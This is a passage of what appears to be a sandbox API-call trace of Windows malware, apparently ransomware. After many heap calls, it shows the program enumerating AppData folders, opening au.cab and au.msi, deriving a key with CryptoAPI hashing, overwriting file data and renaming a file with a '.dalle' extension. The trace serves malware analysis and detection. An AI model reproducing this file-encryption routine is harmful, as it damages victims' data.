(HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.047] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.047] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.048] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.048] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.049] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.049] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.049] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.049] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.049] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.049] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.049] PathFindFileNameW (pszPath="") returned="" [0122.049] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.050] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.050] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.050] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.050] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0122.050] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0122.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0122.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.050] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.051] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.051] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.051] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.051] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.051] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.051] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.051] PathFindFileNameW (pszPath="") returned="" [0122.051] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0122.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.052] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.052] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0122.052] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0122.052] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0122.052] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0122.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.053] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=581730) returned 1 [0122.053] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.055] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.055] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.056] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.056] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0122.059] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.059] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.059] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.059] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.059] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0fc8) returned 1 [0122.060] CryptCreateHash (in: hProv=0x6c0fc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.060] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.060] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.060] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.060] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.060] GetLastError () returned 0x0 [0122.060] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.060] CryptReleaseContext (hProv=0x6c0fc8, dwFlags=0x0) returned 1 [0122.061] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.061] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.061] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.061] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.061] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.061] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.061] CloseHandle (hObject=0x618) returned 1 [0122.070] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0122.070] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3093b88 [0122.070] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094c58 | out: hHeap=0x5e0000) returned 1 [0122.070] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.dalle")) returned 1 [0122.070] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.071] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.071] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.071] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0122.072] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0122.072] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0122.072] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0fc8 | out: hHeap=0x5e0000) returned 1 [0122.072] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0122.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.072] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=185344) returned 1 [0122.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.074] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.074] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.075] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.075] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0122.083] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.083] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.083] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.083] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.083] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0fc8) returned 1 [0122.084] CryptCreateHash (in: hProv=0x6c0fc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.084] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.084] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.084] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.084] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.084] GetLastError () returned 0x0 [0122.084] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.084] CryptReleaseContext (hProv=0x6c0fc8, dwFlags=0x0) returned 1 [0122.084] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.084] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25810) returned 0x3096780 [0122.085] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0122.085] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0122.085] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x25800, lpOverlapped=0x0) returned 1 [0122.085] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0122.085] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.086] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.086] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 